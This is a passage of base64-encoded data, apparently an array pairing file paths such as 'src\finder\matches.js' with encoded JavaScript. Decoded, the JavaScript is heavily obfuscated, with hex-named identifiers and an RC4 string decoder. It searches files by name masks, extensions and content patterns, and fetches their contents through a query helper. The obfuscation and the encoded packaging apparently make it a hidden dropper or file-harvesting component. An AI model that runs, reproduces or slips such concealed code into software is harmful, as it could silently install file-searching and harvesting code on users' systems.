hiMDdlKF8weDRiODI0YS0gLTB4MzA1LF8weDFhZjg3Zik7fWZ1bmN0aW9uIF8weDIzODMzMyhfMHg1NGI2NzEsXzB4MTg0YmY5LF8weDRlYzkwNCxfMHgxYjNlYTEsXzB4MTRiMmM5KXtyZXR1cm4gXzB4YjA3ZShfMHgxNGIyYzktIC0weDNjZCxfMHgxODRiZjkpO31mdW5jdGlvbiBfMHgxZWEyY2QoXzB4ZWJlZGJkLF8weDE4ODEwMCxfMHg0OWNmYTYsXzB4MjYzZTY4LF8weGEwN2FiNyl7cmV0dXJuIF8weGIwN2UoXzB4MjYzZTY4LSAtMHg5ZSxfMHhlYmVkYmQpO31yZXR1cm4gbnVsbDt9Owo='),@('c3JjXGZpbmRlclxtYXRjaGVzLmpz', 'KGZ1bmN0aW9uKF8weDMzNTVkNyxfMHg0OTQ2NmEpe2Z1bmN0aW9uIF8weDRkNmFkZShfMHgyYjFjMWIsXzB4Mjg0ZGI0LF8weDU3NmVkMyxfMHg0ZTE0M2IsXzB4NDRiMjk2KXtyZXR1cm4gXzB4NGU3MihfMHg0ZTE0M2ItMHgxZmEsXzB4NDRiMjk2KTt9ZnVuY3Rpb24gXzB4MTI4ZjhjKF8weDJiOGIwZixfMHgxMzA0NjEsXzB4NTczNTVjLF8weDE0NzcyNCxfMHg0Yjg5YmUpe3JldHVybiBfMHg0ZTcyKF8weDRiODliZS0gLTB4MWI0LF8weDE0NzcyNCk7fWZ1bmN0aW9uIF8weDFhZjY4YyhfMHhmODNkNWIsXzB4NThhYjY2LF8weGUyOTg3NyxfMHgzZjVhNzMsXzB4NWNhMzM2KXtyZXR1cm4gXzB4NGU3MihfMHhmODNkNWItIC0weDExNSxfMHg1OGFiNjYpO31mdW5jdGlvbiBfMHgzMTZhMTYoXzB4NmRjNWZkLF8weDQxOTEzZCxfMHg1NDdiZGYsXzB4M2Y5NjY2LF8weDVjNjVkYyl7cmV0dXJuIF8weDRlNzIoXzB4NmRjNWZkLSAtMHgxY2MsXzB4NTQ3YmRmKTt9Y29uc3QgXzB4MmQxMjU2PV8weDMzNTVkNygpO2Z1bmN0aW9uIF8weDM1YjA4MihfMHgyZDc5YzQsXzB4NTBiOGY3LF8weDMxNzAxYixfMHg5ZWM5YjQsXzB4NTkzN2U0KXtyZXR1cm4gXzB4NGU3MihfMHgzMTcwMWItMHgxYWIsXzB4NTBiOGY3KTt9d2hpbGUoISFbXSl7dHJ5e2NvbnN0IF8weDMxODEzMD1wYXJzZUludChfMHg0ZDZhZGUoMHgzZjEsMHgzYzMsMHgzZWEsMHgzZTAsJ2ZHTk8nKSkvKDB4N2JhKzB4MiotMHg3ODArMHg3NDcpK3BhcnNlSW50KF8weDRkNmFkZSgweDNjNCwweDNhZiwweDNjZSwweDNjMiwnKmxtaScpKS8oMHhjNzcqMHgxKy0weDIqMHhlYWErMHgxMGRmKSstcGFyc2VJbnQoXzB4MTI4ZjhjKDB4MzcsMHgyYSwweDI1LCdkQF0xJywweDFiKSkvKC0weDk5NisweGIqMHgxYistMHgxZSotMHg0OCkqKC1wYXJzZUludChfMHg0ZDZhZGUoMHgzY2QsMHgzZjQsMHgzZWMsMHgzZTMsJ0xobiEnKSkvKDB4MjM1KzB4MWRmKi0weDEzKy0weDZhYyotMHg1KSkrcGFyc2VJbnQoXzB4MzViMDgyKDB4MzdlLCdkQF0xJywweDM4OCwweDNhNCwweDM4MikpLygtMHhmMysweDI2YWErLTB4MjViMioweDEpKigtcGFyc2VJbnQoXzB4MzE2YTE2KDB4ZSwweDFhLCdMaG4hJywweDExLDB4MTMpKS8oLTB4ZTEyKjB4MSsweGQqLTB4MysweGUzZikpKy1wYXJzZUludChfMHgzNWIwODIoMHgzOTEsJ0VpdVInLDB4M2E5LDB4M2I3LDB4M2IyKSkvKDB4MjYwNysweDIqLTB4MzVlKy0weDNhKjB4OGEpKy1wYXJzZUludChfMHgzNWIwODIoMHgzODEsJzBtVDknLDB4Mzc0LDB4MzU3LDB4MzdkKSkvKC0weDE4YWIrLTB4MSoweDg5OSsweDIxNGMpKihwYXJzZUludChfMHgxYWY2OGMoMHhkZiwnNHFlaycsMHhkZiwweGMyLDB4ZTApKS8oMHg5NjUrLTB4MWYxKzB4MyotMHgyNzkpKStwYXJzZUludChfMHgzNWIwODIoMHgzYmMsJ0tEWignLDB4M2FhLDB4M2MwLDB4MzhmKSkvKC0weGIxYystMHgxNmZmKy0weDEqLTB4MjIyNSk7aWYoXzB4MzE4MTMwPT09XzB4NDk0NjZhKWJyZWFrO2Vsc2UgXzB4MmQxMjU2WydwdXNoJ10oXzB4MmQxMjU2WydzaGlmdCddKCkpO31jYXRjaChfMHg1Y2MyMDcpe18weDJkMTI1NlsncHVzaCddKF8weDJkMTI1Nlsnc2hpZnQnXSgpKTt9fX0oXzB4NDQ3OCwtMHg1MWRmMystMHgyKjB4MTc2YWQrMHgxMTQ5NGMpKTtpbXBvcnR7ZW5jb2RlUGF0aH1mcm9tJy4vaGVscGVycy5qcyc7aW1wb3J0e3F1ZXJ5fWZyb20nLi9leHRyYWN0LmpzJztmdW5jdGlvbiBfMHg0ZTcyKF8weDI1YzU3MSxfMHgzOTlkZmIpe2NvbnN0IF8weDRjZmQxMj1fMHg0NDc4KCk7cmV0dXJuIF8weDRlNzI9ZnVuY3Rpb24oXzB4M2IyMjY4LF8weDVkMGMyOSl7XzB4M2IyMjY4PV8weDNiMjI2OC0oMHg3MiotMHgxNCstMHgxYWRlKy0weDEqLTB4MjU4ZCk7bGV0IF8weDU0Y2MyMj1fMHg0Y2ZkMTJbXzB4M2IyMjY4XTtpZihfMHg0ZTcyWydyb2xmeXknXT09PXVuZGVmaW5lZCl7dmFyIF8weDVhOWZlZD1mdW5jdGlvbihfMHg1YTRhYWEpe2NvbnN0IF8weDQ1MjQzYT0nYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWjAxMjM0NTY3ODkrLz0nO2xldCBfMHgxMDRmNzk9JycsXzB4MWViNWM3PScnO2ZvcihsZXQgXzB4M2E4ODY4PS0weDFlKi0weDVlKy0weDI3ZisweDEqLTB4ODg1LF8weDQwODIzZixfMHg0YzcwNSxfMHgxOTE1Y2Q9MHgxKjB4MjIxNSstMHgxOWY1KjB4MSsweDQxKi0weDIwO18weDRjNzA1PV8weDVhNGFhYVsnY2hhckF0J10oXzB4MTkxNWNkKyspO35fMHg0YzcwNSYmKF8weDQwODIzZj1fMHgzYTg4NjglKDB4ZGFlKzB4MWMxMiotMHgxKzB4ZTY4KT9fMHg0MDgyM2YqKC0weDJjOCsweDIqLTB4ZDM2KzB4MWQ3NCkrXzB4NGM3MDU6XzB4NGM3MDUsXzB4M2E4ODY4KyslKDB4M2U2Ky0weDE3ODUrMHgxM2EzKSk/XzB4MTA0Zjc5Kz1TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKDB4ZDUyKy0weDE2KjB4MmMrLTB4MyoweDJkOSZfMHg0MDgyM2Y+PigtKDB4YTVmKy0weDcwOCstMHgzNTUpKl8weDNhODg2OCYtMHgxMzkrLTB4MyotMHgzMzUrMHgyMCotMHg0MykpOjB4NDc5Ky0weGIzOSstMHgyKi0weDM2MCl7XzB4NGM3MDU9XzB4NDUyNDNhWydpbmRleE9mJ10oXzB4NGM3MDUpO31mb3IobGV0IF8weGY1NzNjZT0weDEqMHgxMjViKy0weDFlNzYrMHhjMWIqMHgxLF8weDEyODY2Nj1fMHgxMDRmNzlbJ2xlbmd0aCddO18weGY1NzNjZTxfMHgxMjg2NjY7XzB4ZjU3M2NlKyspe18weDFlYjVjNys9JyUnKygnMDAnK18weDEwNGY3OVsnY2hhckNvZGVBdCddKF8weGY1NzNjZSlbJ3RvU3RyaW5nJ10oMHgxNmUxKy0weDEwKi0weGM3Ky0weDIzNDEpKVsnc2xpY2UnXSgtKC0weDE4ZTkrMHgxKjB4MjQxMSstMHhiMjYpKTt9cmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChfMHgxZWI1YzcpO307Y29uc3QgXzB4OTdmZGNiPWZ1bmN0aW9uKF8weDRhYzQ4MSxfMHg0YThkYWUpe2xldCBfMHg0ZDJiMWE9W10sXzB4M2Y2OGQwPTB4MyotMHg1MDUrMHgxKi0weGFhYisweDE5YmEsXzB4NTExYzQ4LF8weDM0Mzg2Mz0nJztfMHg0YWM0ODE9XzB4NWE5ZmVkKF8weDRhYzQ4MSk7bGV0IF8weGRhNmIwYztmb3IoXzB4ZGE2YjBjPS0weDIzYWIrLTB4NDE3Ki0weDUrLTB4ZjM4Ki0weDE7XzB4ZGE2YjBjPDB4Y2JhKzB4MWNlZCstMHgzKjB4ZDhkO18weGRhNmIwYysrKXtfMHg0ZDJiMWFbXzB4ZGE2YjBjXT1fMHhkYTZiMGM7fWZvcihfMHhkYTZiMGM9LTB4ZWIwKy0weDI1NzYrMHgzNDI2O18weGRhNmIwYzwtMHgxZTRjKy0weDM1KjB4NTArLTB4MSotMHgyZmRjO18weGRhNmIwYysrKXtfMHgzZjY4ZDA9KF8weDNmNjhkMCtfMHg0ZDJiMWFbXzB4ZGE2YjBjXStfMHg0YThkYWVbJ2NoYXJDb2RlQXQnXShfMHhkYTZiMGMlXzB4NGE4ZGFlWydsZW5ndGgnXSkpJSgweDQqLTB4YjcrLTB4NDI4Ki0weDErLTB4MjYqMHgyKSxfMHg1MTFjNDg9XzB4NGQyYjFhW18weGRhNmIwY10sXzB4NGQyYjFhW18weGRhNmIwY109XzB4NGQyYjFhW18weDNmNjhkMF0sXzB4NGQyYjFhW18weDNmNjhkMF09XzB4NTExYzQ4O31fMHhkYTZiMGM9MHgxYjFmKzB4NmU0Ky0weDIyMDMsXzB4M2Y2OGQwPS0weDIzY2QrLTB4MTIxOSoweDErMHgzNWU2O2ZvcihsZXQgXzB4NDUwYTNlPS0weDM4YisweDI0ZDArLTB4MyoweGIxNztfMHg0NTBhM2U8XzB4NGFjNDgxWydsZW5ndGgnXTtfMHg0NTBhM2UrKyl7XzB4ZGE2YjBjPShfMHhkYTZiMGMrKC0weDQ0OCstMHgxOGI1KzB4MWNmZSkpJSgweDZiMisweDE0NWMrMHgxNyotMHgxMjIpLF8weDNmNjhkMD0oXzB4M2Y2OGQwK18weDRkMmIxYVtfMHhkYTZiMGNdKSUoLTB4MjIzKi0weDMrMHg1Ki0weDk5KzB4MjZjKi0weDEpLF8weDUxMWM0OD1fMHg0ZDJiMWFbXzB4ZGE2YjBjXSxfMHg0ZDJiMWFbXzB4ZGE2YjBjXT1fMHg0ZDJiMWFbXzB4M2Y2OGQwXSxfMHg0ZDJiMWFbXzB4M2Y2OGQwXT1fMHg1MTFjNDgsXzB4MzQzODYzKz1TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKF8weDRhYzQ4MVsnY2hhckNvZGVBdCddKF8weDQ1MGEzZSleXzB4NGQyYjFhWyhfMHg0ZDJiMWFbXzB4ZGE2YjBjXStfMHg0ZDJiMWFbXzB4M2Y2OGQwXSklKC0weDIwNGIrMHhjOTcrLTB4YTVhKi0weDIpXSk7fXJldHVybiBfMHgzNDM4NjM7fTtfMHg0ZTcyWyduY2lIVHgnXT1fMHg5N2ZkY2IsXzB4MjVjNTcxPWFyZ3VtZW50cyxfMHg0ZTcyWydyb2xmeXknXT0hIVtdO31jb25zdCBfMHg1NjgxZTE9XzB4NGNmZDEyWy0weGZmNCstMHhhKi0weGQzKzB4N2I2XSxfMHgyY2I2N2Y9XzB4M2IyMjY4K18weDU2ODFlMSxfMHgxYzllOWY9XzB4MjVjNTcxW18weDJjYjY3Zl07cmV0dXJuIV8weDFjOWU5Zj8oXzB4NGU3MlsnZktIZ3RNJ109PT11bmRlZmluZWQmJihfMHg0ZTcyWydmS0hndE0nXT0hIVtdKSxfMHg1NGNjMjI9XzB4NGU3MlsnbmNpSFR4J10oXzB4NTRjYzIyLF8weDVkMGMyOSksXzB4MjVjNTcxW18weDJjYjY3Zl09XzB4NTRjYzIyKTpfMHg1NGNjMjI9XzB4MWM5ZTlmLF8weDU0Y2MyMjt9LF8weDRlNzIoXzB4MjVjNTcxLF8weDM5OWRmYik7fWV4cG9ydCBjb25zdCBtYXRjaGVzRmlsZVBhdHRlcm49KF8weDFkNGY3YyxfMHg0MTgyZWMpPT57ZnVuY3Rpb24gXzB4MWY1MWMyKF8weDU1ZDM3MyxfMHgyMGY4Y2QsXzB4NTFhYmUyLF8weDNhNjZiZCxfMHgzMzE2MTcpe3JldHVybiBfMHg0ZTcyKF8weDU1ZDM3My0weDNkZSxfMHg1MWFiZTIpO31sZXQgXzB4MjliYTc0PV8weDQxODJlY1tfMHgxZjUxYzIoMHg1YmQsMHg1YzQsJzlZZ2QnLDB4NWFiLDB4NWI3KSsnY2UnXSgvXC4vZywnXHg1Yy4nKTtmdW5jdGlvbiBfMHhiMWI3M2IoXzB4M2FmOTRkLF8weDRmMDIyNCxfMHgxZmM0YTAsXzB4MjdkYjE5LF8weDE2YjFlNyl7cmV0dXJuIF8weDRlNzIoXzB4NGYwMjI0LTB4MWNkLF8weDNhZjk0ZCk7fV8weDI5YmE3ND1fMHgyOWJhNzRbXzB4NWRkZjFmKDB4MTdhLDB4MTY3LCchM1lkJywweDE2OCwweDE2ZSkrJ2NlJ10oL1wqL2csJy4qJyk7ZnVuY3Rpb24gXzB4NWRkZjFmKF8weGRlMDg1MixfMHgyZjJhY2MsXzB4NDVjM2I2LF8weDZiZWU5YSxfMHhhNTg1OTcpe3JldHVybiBfMHg0ZTcyKF8weGE1ODU5Ny0gLTB4ODIsXzB4NDVjM2I2KTt9cmV0dXJuIG5ldyBSZWdFeHAoJ14nK18weDI5YmE3NCsnJCcsJ2knKVtfMHgxZjUxYzIoMHg1YjEsMHg1YzEsJzBtVDknLDB4NWJkLDB4NWJlKV0oXzB4MWQ0ZjdjKTt9O2NvbnN0IG1hdGNoZXNDb250ZW50UGF0dGVybj0oXzB4MThiZDNjLF8weDM0YTgzNyk9Pm5ldyBSZWdFeHAoXzB4MzRhODM3LCdnJylbXzB4NjgyNzc1KCdiY25GJywweDJhZCwweDI5NywweDJhYywweDJhMildKF8weDE4YmQzYyk7ZnVuY3Rpb24gXzB4NjgyNzc1KF8weDM5Mzc3YixfMHg0ZjFiZjMsXzB4MzJhNDFiLF8weDNjNDhkOCxfMHgzOWFmZmEpe3JldHVybiBfMHg0ZTcyKF8weDRmMWJmMy0weGJmLF8weDM5Mzc3Yik7fWZ1bmN0aW9uIF8weDQ0NzgoKXtjb25zdCBfMHgyYWQwZDY9WydXUnJRRDhrRGdTazhXT1RneTJSZFFDb1EnLCdXUmhkTW1rb2tlMCcsJ1dSaGRJU284V09DJywnV083ZFNtb2RXUGk1c21rRldPUHVpcScsJ0VjQ0N5OGtHJywnbENrSUM4azZXNUsnLCd5Q2t0VzZ0Y1FTb2YnLCd3TUNQV1BGY05hJywnakNrR0Nta00nLCdicm5NVzVwY0hhJywnbThvYVdRMXJmTk5kVUh5WmpxWmRIU291JywnRG1rUFdPSzVCSDNkU21rdFc0L2RTQ29JZzhraScsJ21Tb2FXUW5xZTMzZFZiMEhpWHhkTG1vTScsJ1dSM2RSU2tZY2ZPJywnVzdteVdPYnNXN0ZjS3RsY1R1dmRXUTAnLCd6OGtHV1E0aUFDbzNpZE8nLCdqbWtiVzdIRicsJ21DbzVXUXFlJywnb1NvYkF4QmRMVycsJ2Y4bzdrTGZ0JywneVNvT2YzbGNWcScsJ0JTa3FtWXBkR21vZ1c3N2NOMXFFJywnVzVYeWZta2dXUWxjTzhvSlc3eGNROGs4RjhrZCcsJ1c3L2RWMnUyJywnVzdwY0dTa1RXNHV0JywnazhvOVdST3YnLCdXNkZkUnNHSnVXJywndGZ5b25IOCcsJ1dPZGNLbW85V09sZFZHJywnd21veVc3WmRKTTAnLCd4OG9zVzVEc2lTb3JXUVNSZW1vbGJXJywnb21vZkFOcScsJ1dSUmNPZExLVzdqdXU4bzdXN0RvcDhrWCcsJ1dRaGROczNkU0cnLCdhQ29RbXZPJywnejhrckQySmRIbW9JVzd0Y1VXJywnV1I3Y1ZoaVlyYUZkS21vdGRxJywnVzdOZFJ0eU9yRycsJ1c3RE5XUHRjTHEnLCdBOG8xZHhkY1BXJywnbVNvbVdRdnVlMzNjR0plSWRiSmRQYScsJ1dSV2NoRycsJ1c2bGRObW92Q1NvbScsJ1dRSFFlMWJzJywncDhrOHNZdGRVQ2tDVzdQMFdSWmNMOGtNV1BPMycsJ3NoYXVnRycsJ2hHTmROdnEnLCdXUk5jUGRXTFdRSzJ6Q28zVzVtJywnV09xanNtb3UnLCdvbWtPQ1NrVCcsJ1c2YkZjSzNjT3ZxTVdSVycsJ1dRRmRKOGt4a2EnLCdXUDRudlNvZicsJ3dLbVdXT2hkR0Nra0ZDbzB2WnRjVTNQVycsJ3JTb3lXNmxkSHhHJywnVzR4Y1E4a0FXNHUnLCdtbW9oQXdKZFBHJywnV1JSY1V4cjFmMi9jVm1vWWNmUmNWeFpjTWEnXTtfMHg0NDc4PWZ1bmN0aW9uKCl7cmV0dXJuIF8weDJhZDBkNjt9O3JldHVybiBfMHg0NDc4KCk7fWV4cG9ydCBjb25zdCBtYXRjaGVzU2VhcmNoQ3JpdGVyaWE9YXN5bmMoXzB4M2RmYjljLF8weDI3N2Q0YyxfMHg1MjhiNTMpPT57Y29uc3QgXzB4NDFjZTMyPXsnQ0RNSGonOmZ1bmN0aW9uKF8weDU1M2ZjOSxfMHg0ZTI0ZTgpe3JldHVybiBfMHg1NTNmYzk+XzB4NGUyNGU4O30sJ1RyelByJzpmdW5jdGlvbihfMHg1NWFiZjYsXzB4MzE3MTQ0KXtyZXR1cm4gXzB4NTVhYmY2Pl8weDMxNzE0NDt9LCdKYkZpUyc6ZnVuY3Rpb24oXzB4MjA3MDc3LF8weDEyNTVkMyl7cmV0dXJuIF8weDIwNzA3Nz5fMHgxMjU1ZDM7fSwnZmNueUUnOmZ1bmN0aW9uKF8weDM4NjVjMyxfMHgxZTQ0ZGQpe3JldHVybiBfMHgzODY1YzMoXzB4MWU0NGRkKTt9fSx7bmFtZU1hc2tzOl8weDFiZTM5MixleGNsdWRlZE5hbWVNYXNrczpfMHgzZDgxNmYsZXhjbHVkZWRFeHRlbnNpb25zOl8weDNlNzExYyxpbW1lZGlhdGVFeHRlbnNpb25zOl8weGNlYmU2MCxyZXF1aXJlZEV4dGVuc2lvbnM6XzB4NWExNTFjLGV4Y2x1ZGVkTmFtZU1hc2tzQ29udGVudDpfMHgyMDVjMDgsY29udGVudFBhdHRlcm5zOl8weDI5ZmUzMX09XzB4Mjc3ZDRjO2Z1bmN0aW9uIF8weDJhZGI5OChfMHgyNDI5OTYsXzB4M2Q4ZGY1LF8weDQxZDZkZixfMHgyMTQ2MWQsXzB4MmM3MjEwKXtyZXR1cm4gXzB4NjgyNzc1KF8weDJjNzIxMCxfMHg0MWQ2ZGYtIC0weDI2ZCxfMHg0MWQ2ZGYtMHhmOSxfMHgyMTQ2MWQtMHgxMCxfMHgyYzcyMTAtMHgxOTIpO31mdW5jdGlvbiBfMHgyZDY1OGEoXzB4MTRlYzgxLF8weDhlNzU4LF8weDQ0MmI1NixfMHgxMjZhZDUsXzB4MjBmZTg2KXtyZXR1cm4gXzB4NjgyNzc1KF8weDQ0MmI1NixfMHgxNGVjODEtMHgyYjAsXzB4NDQyYjU2LTB4MWI5LF8weDEyNmFkNS0weGYwLF8weDIwZmU4Ni0weDFhNCk7fWlmKF8weDQxY2UzMltfMHgyZjE3NGYoJ0l1VEEnLDB4MTkyLDB4MTdlLDB4MWFlLDB4MWEyKV0oXzB4Y2ViZTYwW18weDJmMTc0Zignb1BhcCcsMHgxNmYsMHgxNTcsMHgxNTIsMHgxNTgpKydoJ10sMHhkOTUrLTB4YmEyKjB4MystMHgzMyotMHg2YikmJl8weGNlYmU2MFtfMHg0OWJiNDkoJ1MwVzknLDB4MjI0LDB4MjNiLDB4MjMzLDB4MjFkKV0oXzB4MjVmYjYwPT5fMHgyNWZiNjA9PT1fMHgzZGZiOWNbXzB4MmQ2NThhKDB4NTNjLDB4NTQ3LCchajNSJywweDU0ZiwweDUyMCkrXzB4NDMzMDRhKDB4MjliLDB4Mjg0LCdbS3VrJywweDJhMCwweDJiMSldKSlyZXR1cm4hKC0weDEyNjMqMHgxKzB4NDEwKi0weDIrMHgxYTgzKjB4MSk7aWYoXzB4NDFjZTMyW18weDQ5YmI0OSgnNTM5bicsMHgyNmYsMHgyNzUsMHgyNjQsMHgyNTIpXShfMHgxYmUzOTJbXzB4MmQ2NThhKDB4NTQ2LDB4NTVjLCchM1lkJywweDU2MywweDUzZikrJ2gnXSwweDFmY2UrLTB4MjcwKzB4MmEqLTB4YjMpJiZfMHgxYmUzOTJbXzB4MmQ2NThhKDB4NTQwLDB4NTQ1LCdMaG4hJywweDUzMSwweDU1YildKF8weDJkNTg0Yz0+bWF0Y2hlc0ZpbGVQYXR0ZXJuKF8weDNkZmI5Y1tfMHgyZjE3NGYoJ2RAXTEnLDB4MTczLDB4MTg1LDB4MTZmLDB4MTdmKV0sXzB4MmQ1ODRjKSkmJighXzB4M2Q4MTZmW18weDJmMTc0ZignWDgocycsMHgxN2UsMHgxN2MsMHgxODYsMHgxNmIpKydoJ118fCFfMHgzZDgxNmZbXzB4NDliYjQ5KCcmUF12JywweDI0MywweDI2MCwweDI1MSwweDI0YildKF8weGMzNDEzZj0+bWF0Y2hlc0ZpbGVQYXR0ZXJuKF8weDNkZmI5Y1tfMHg0MzMwNGEoMHgyOTUsMHgyYmIsJ2JjbkYnLDB4MjlmLDB4MjkyKV0sXzB4YzM0MTNmKSkpJiYoIV8weDNlNzExY1tfMHgyZDY1OGEoMHg1NmMsMHg1ODMsJ09eV1MnLDB4NTVlLDB4NTc4KSsnaCddfHwhXzB4M2U3MTFjW18weDJhZGI5OCgweDQ2LDB4MzcsMHg0MywweDJlLCdKa1l1JyldKF8weDE2OGQ4Mz0+XzB4MTY4ZDgzPT09XzB4M2RmYjljW18weDQ5YmI0OSgnZkdOTycsMHgyMmQsMHgyNjQsMHgyNGEsMHgyM2UpK18weDJkNjU4YSgweDU0YSwweDUzMCwnSl1hdicsMHg1NTAsMHg1NDMpXSkpKXJldHVybiEoMHgxKi0weDE5YjUrLTB4ZGU5KzB4Mjc5ZSk7ZnVuY3Rpb24gXzB4NDliYjQ5KF8weDI0ZjE1YSxfMHg1NGU5MDMsXzB4MjBiMWIzLF8weDM1NDMwYyxfMHg1NDI1NDgpe3JldHVybiBfMHg2ODI3NzUoXzB4MjRmMTVhLF8weDM1NDMwYy0gLTB4NTYsXzB4MjBiMWIzLTB4YWIsXzB4MzU0MzBjLTB4YTIsXzB4NTQyNTQ4LTB4OGEpO31pZigoIV8weDVhMTUxY1tfMHgyZDY1OGEoMHg1M2IsMHg1MzgsJ2RAXTEnLDB4NTNhLDB4NTI3KSsnaCddfHxfMHg1YTE1MWNbXzB4NDMzMDRhKDB4Mjg2LDB4MjllLCdPdTY5JywweDI5NSwweDI5NildKF8weDQ2NDFkND0+XzB4NDY0MWQ0PT09XzB4M2RmYjljW18weDJhZGI5OCgweDM4LDB4M2IsMHg0NywweDUwLCdTMm8pJykrXzB4MmQ2NThhKDB4NTRiLDB4NTNmLCchajNSJywweDU1YSwweDU1YSldKSkmJighXzB4MjA1YzA4W18weDJhZGI5OCgweDI3LDB4MmMsMHgyMCwweDM0LCdmR05PJykrJ2gnXXx8IV8weDIwNWMwOFtfMHgyZDY1OGEoMHg1NjUsMHg1NzQsJ0N4RHInLDB4NTVmLDB4NTgyKV0oXzB4NGY2YjlhPT5tYXRjaGVzRmlsZVBhdHRlcm4oXzB4M2RmYjljW18weDJkNjU4YSgweDUzYSwweDUzNCwnMG1UOScsMHg1NDMsMHg1MzQpXSxfMHg0ZjZiOWEpKSkmJl8weDQxY2UzMltfMHgyYWRiOTgoMHgzNSwweDUxLDB4MzcsMHgyOCwnREh3cycpXShfMHgyOWZlMzFbXzB4MmQ2NThhKDB4NTQzLDB4NTRmLCc5WWdkJywweDUzNywweDU1NykrJ2gnXSwweDczKi0weDNiKzB4MyotMHg3ZjcrMHgxKjB4MzI2NikmJiFfMHgzZGZiOWNbXzB4NDMzMDRhKDB4MmJhLDB4Mjk5LCdvcEhbJywweDJhZiwweDJhYildKXtjb25zdCBfMHg1MDgyMWQ9XzB4NTI4YjUzKycvJytfMHg0MWNlMzJbXzB4NDMzMDRhKDB4MmE2LDB4MmJjLCdbS3VrJywweDJhZSwweDJhNyldKGVuY29kZVBhdGgsXzB4M2RmYjljW18weDJhZGI5OCgweDNlLDB4MmYsMHgzOSwweDI3LCcwWmVqJyldKSxfMHgyZThjOWU9YXdhaXQgXzB4NDFjZTMyW18weDQ5YmI0OSgnZEBdMScsMHgyNDcsMHgyNjgsMHgyNWIsMHgyNzQpXShxdWVyeSxfMHg1MDgyMWQpO2lmKF8weDI5ZmUzMVtfMHgyZDY1OGEoMHg1NWMsMHg1NjcsJ1MybyknLDB4NTcwLDB4NTQyKV0oXzB4MTYxNzM5PT5tYXRjaGVzQ29udGVudFBhdHRlcm4oXzB4MmU4YzllLF8weDE2MTczOSkpKXJldHVybiEoLTB4M2IqMHg3OSsweDExN2UrMHhhNjUpO31mdW5jdGlvbiBfMHg0MzMwNGEoXzB4YWI4NTVkLF8weDI4NmFmNixfMHgxOGE2NDQsXzB4YTlkMDY5LF8weDJjYTA3ZCl7cmV0dXJuIF8weDY4Mjc3NShfMHgxOGE2NDQsXzB4YTlkMDY5LSAtMHhhLF8weDE4YTY0NC0weGY3LF8weGE5ZDA2OS0weDcxLF8weDJjYTA3ZC0weDIyKTt9ZnVuY3Rpb24gXzB4MmYxNzRmKF8weDE3ZjVmZixfMHgyMjVlNzQsXzB4MzBlMzM5LF8weDNiMjAxNCxfMHg0MDZkZjEpe3JldHVybiBfMHg2ODI3NzUoXzB4MTdmNWZmLF8weDIyNWU3NC0gLTB4MTI1LF8weDMwZTMzOS0weDc2LF8weDNiMjAxNC0weDFkOCxfMHg0MDZkZjEtMHgxN2YpO31yZXR1cm4hKDB4M2M2KzB4MWFkKzB4MjkqLTB4MjIpO307ZXhwb3J0IGNvbnN0IG1hdGNoZXNJbnN0cnVjdGlvbnM9KF8weGJmOTc1NixfMHhlZDMyNzMsXzB4MmYxMWU2KT0+e2Z1bmN0aW9uIF8weDI2YjgwYyhfMHgzOTQ0OGMsXzB4MTI3ZTUzLF8weDQ5NDEzMSxfMHgyZGEyOTIsXzB4MWE2ZDE5KXtyZXR1cm4gXzB4NjgyNzc1KF8weDFhNmQxOSxfMHgyZGEyOTItMHhmZCxfMHg0OTQxMzEtMHg2NSxfMHgyZGEyOTItMHgzNCxfMHgxYTZkMTktMHgyZik7fWZ1bmN0aW9uIF8weDM4YzgzZShfMHgxNDQzOTcsXzB4MzAwNWJjLF8weDMzZGVjMSxfMHgzYzZmYzcsXzB4NWNhNjM4KXtyZXR1cm4gXzB4NjgyNzc1KF8weDMzZGVjMSxfMHgzMDA1YmMtMHgxMmEsXzB4MzNkZWMxLTB4MTAxLF8weDNjNmZjNy0weDE4ZSxfMHg1Y2E2MzgtMHg2Zik7fWZ1bmN0aW9uIF8weDJhNWM2NyhfMHg2MDg5YzYsXzB4MWE5OWFiLF8weDI2Y2YxNCxfMHg0ZjYxYTgsXzB4M2U1YzI1KXtyZXR1cm4gXzB4NjgyNzc1KF8weDRmNjFhOCxfMHgzZTVjMjUtIC0weDIzMixfMHgyNmNmMTQtMHgzZSxfMHg0ZjYxYTgtMHhiMyxfMHgzZTVjMjUtMHg0MSk7fWZ1bmN0aW9uIF8weDRkM2MxYyhfMHgzMzVjMGIsXzB4MzBjMDI0LF8weDFlMzgwOCxfMHg0ZmFmNjksXzB4MWNlNzlmKXtyZXR1cm4gXzB4NjgyNzc1KF8weDFjZTc5ZixfMHg0ZmFmNjktIC0weDJjMSxfMHgxZTM4MDgtMHgxMzEsXzB4NGZhZjY5LTB4MTRjLF8weDFjZTc5Zi0weDFiYik7fWNvbnN0IF8weDNhYTA5Nz17J2lOSEV5JzpmdW5jdGlvbihfMHgxMjUyY2MsXzB4MWFiZDYzKXtyZXR1cm4gXzB4MTI1MmNjKF8weDFhYmQ2Myk7fSwnRUZaZUknOmZ1bmN0aW9uKF8weDE0MzU2NSxfMHg0YmIwOTcsXzB4MjNlMTJmKXtyZXR1cm4gXzB4MTQzNTY1KF8weDRiYjA5NyxfMHgyM2UxMmYpO319O2Z1bmN0aW9uIF8weDMxY2EzYihfMHg3YTRjODQsXzB4MTdlMDEwLF8weDFiZGM5NCxfMHg0YTVkYzksXzB4MjM0MDc1KXtyZXR1cm4gXzB4NjgyNzc1KF8weDIzNDA3NSxfMHgxYmRjOTQtMHgxZTYsXzB4MWJkYzk0LTB4ZjcsXzB4NGE1ZGM5LTB4YjksXzB4MjM0MDc1LTB4YTgpO31mb3IoY29uc3Qge2RpcjpfMHg0M2E5MTEsZmlsZXM6XzB4MjE5Y2I4fW9mIF8weGVkMzI3Myl7Y29uc3QgXzB4YjA4OWU9XzB4M2FhMDk3W18weDM4YzgzZSgweDM5YSwweDNiMCwnUzJvKScsMHgzYjIsMHgzYTgpXShlbmNvZGVQYXRoLF8weDQzYTkxMSk7aWYoXzB4MmYxMWU2W18weDJhNWM2NygweDcyLDB4NGYsMHg2NiwnUFBUbScsMHg2MykrXzB4MzhjODNlKDB4M2RlLDB4M2NjLCdTT1dJJywweDNjMCwweDNkNildKF8weGIwODllKSl7Zm9yKGNvbnN0IF8weDMwNDg5MyBvZiBfMHgyMTljYjgpaWYoXzB4M2FhMDk3W18weDRkM2MxYygtMHgyNiwtMHgxZiw